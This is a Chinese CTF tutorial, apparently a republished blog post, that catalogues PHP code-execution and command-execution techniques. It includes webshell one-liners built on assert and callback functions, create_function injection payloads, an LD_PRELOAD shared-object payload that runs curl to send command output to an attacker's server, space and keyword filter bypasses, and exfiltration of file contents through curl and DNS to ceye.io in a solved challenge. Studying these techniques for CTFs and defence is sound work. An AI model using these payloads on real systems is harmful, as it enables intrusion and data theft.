内容简介:总结了一下在ctf里经常遇到的命令执行和代码执行的利用点。
前记
总结了一下在ctf里经常遇到的命令执行和代码执行的利用点。
代码执行
执行代码的几种方式
${}
${} 执行代码
${php代码}
${phpinfo()};
eval()执行代码
eval('echo 2;');
assert()
普通调用
//?a=phpinfo() <?php assert($_POST['a']);?>
assert函数支持动态调用
//?a=phpinfo() <?php $a = 'assert'; $a($_POST['a']); ?>
php官方在 php 7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。
在7.0.29版本之后发现的奇怪的一点
<?php //?a=phpinfo() $a = 'assert'; $a($_POST['a']); ?> //phpinfo()无法执行成功
<?php $a = 'assert'; $a(phpinfo()); ?> //成功执行phpinfo()
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace 执行一个正则表达式的搜索和替换。
执行代码需要使用 /e 修饰符。如果不使用 /e 修饰符,代码则不会执行
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
create_function()
说明
string create_function ( string $args , string $code )
该函数用来创建匿名函数。
这个函数的实现大概是这样的
$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}
$b(yang);
niming('yang');
第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码
$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();
上面这种方法是最直接的,接下来看一点有趣的。
自己写的小示例
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');
这里直接传入phpinfo是不行的,构造的payload
?id=2;}phpinfo();/*
传入后,代码如下
function niming($name){
echo $name.编号2;
}phpinfo();/*
}
这样就执行了代码,再给出网上找的一个例子。
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = ‘strnatcasecmp’; $databases=array(’1234′,’4321′); $sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’; usort($databases, create_function(‘$a, $b’, $sort_function)); ?>
构造的payload如下
?sort_by=”]);}phpinfo();/*
在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
纠结的原因是在这个例子中,构造 $str2 的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为 $a 没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将 $a 写在单引号里面,使其可以正常的作为匿名函数的第二个参数。
本应该挺容易的事儿,但是改来改去花了好久。最终的结果便是开头写的示例。
array_map()
官方文档
array array_map ( callable $callback , array $array1 [, array $... ] ) array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
漏洞演示
//?a=assert&b=phpinfo(); $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array);
call_user_func()/call_user_func_array()
和array_map()函数挺像的。
官方文档
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr ) 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
示例
call_user_func()
// ?a=phpinfo(); call_user_func(assert,$_GET['a']);
call_user_func_array()
//?a=phpinfo();
$array[0] = $_GET['a'];
call_user_func_array("assert",$array);
array_filter()
官方文档
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) 依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
示例
$array[0] = $_GET['a']; array_filter($array,'assert');
usort()/uasort()
usrot官方文档
bool usort ( array &$array , callable $value_compare_func ) 本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要 排序 的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
shell_1
<?php // ?1[]=test&1[]=phpinfo();&2=assert usort(...$_GET); ?>
只有在php5.6以上环境才可使用
详解 关于 ...$_GET 是php5.6引入的新特性。即将数组展开成参数的形式。
shell_2
下面这种写法只在php5.6版本以下可以使用。
// ?1=1+1&2=phpinfo(); usort($_GET,'asse'.'rt');
命令执行
常见命令执行函数
- system()
- passthru()
- exec()
- shell_exec()
- `反引号
- ob_start()
- mail函数+LD_PRELOAD执行系统命令
system()
➜ ~ php -r "system('whoami');"
yang
passthru()
➜ ~ php -r "passthru('whoami');"
yang
exec()
➜ ~ php -r "echo exec('whoami');"
yang%
shell_exec()
➜ ~ php -r "echo shell_exec('whoami');"
yang
`反引号
➜ ~ php -r "echo @`whoami`;" yang%
ob_start()
官方文档
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
使用
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
mail函数+LD_PRELOAD执行系统命令
思路
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。
利用
a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
编译
gcc -c -fPIC a.c -o a gcc -shared a -o a.so
mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
监听vps的4123端口,访问mail.php。
ctf绕过的小tip
空格
在bash下,可以用以下字符代替空格
<
${IFS}
$IFS$9
%09
测试
ubuntu@VM-0-8-ubuntu:~/shell$ cat<1.txt
abc
ubuntu@VM-0-8-ubuntu:~/shell$ cat${IFS}1.txt
abc
ubuntu@VM-0-8-ubuntu:~/shell$ cat$IFS$91.txt
abc
%09测试
<?php
$cmd = $_GET['cmd'];
system("$cmd");
?>
//http://127.0.0.1/45.php?cmd=cat%091.txt
//输出abc
敏感字符绕过
这里假设过滤了 cat
- 利用变量绕过
ubuntu<a title="@VM" href="https://github.com/VM">@VM</a>-0-8-ubuntu:~/shell$ a=c;b=a;c=t; ubuntu<a title="@VM" href="https://github.com/VM">@VM</a>-0-8-ubuntu:~/shell$ $a$b$c 1.txt abc
- 利用base编码绕过
ubuntu@VM-0-8-ubuntu:~/shell$ echo 'cat' | base64 Y2F0Cg== ubuntu@VM-0-8-ubuntu:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt abc
处理无回显的命令执行
1.利用自己的vps
在vps上使用nc监听
➜ ~ nc -lnvp 4567 Listening on [0.0.0.0] (family 0, port 4567)
后台代码
<?php
$a = $_GET['id'];
system("$a");
?>
paylaod
curl http://vps_ip/?id=`whoami`
收到回显
2.利用ceye平台
记录在http request中
题目地址
http://192.168.10.55/
后台源码
<?php
$a = $_GET['id'];
system("$a");
?>
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用 linux 的curl访问才会成功,在浏览器直接访问时无效的。
效果
图1
记录在dns query中
简单介绍
DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
举个例子
在注册ceye.io之后会分配一个三级域名。就是 ** .ceye.io。
ping `whoami`.******.ceye.io
上面这条命令最终在ping的时候ping的是“root. ** .ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)
所以这种方法的使用必须有ping命令。
真题解析
题目存在robots.txt文件,访问发现两个文件
index.txt where_is_flag.php
index.php代码
<?php
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);
可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。
payload
ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io # 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx
最终的url
http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
在dns query中查看
图2
可以看到文件的内容是
<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>
由此得知flag.php的位置,继续打印flag.php的内容
获取flag的url
http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
图三
得到flag。
后记
从开始学打ctf到现在见了挺多的代码执行和命令执行,这次算比较完整的总结了一下,感觉对于我这种萌新还是挺友好的。欢迎师傅们指出不对的地方。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
About Face 3
Alan Cooper、Robert Reimann、David Cronin / John Wiley & Sons / 2007-5-15 / GBP 28.99
* The return of the authoritative bestseller includes all new content relevant to the popularization of how About Face maintains its relevance to new Web technologies such as AJAX and mobile platforms......一起来看看 《About Face 3》 这本书的介绍吧!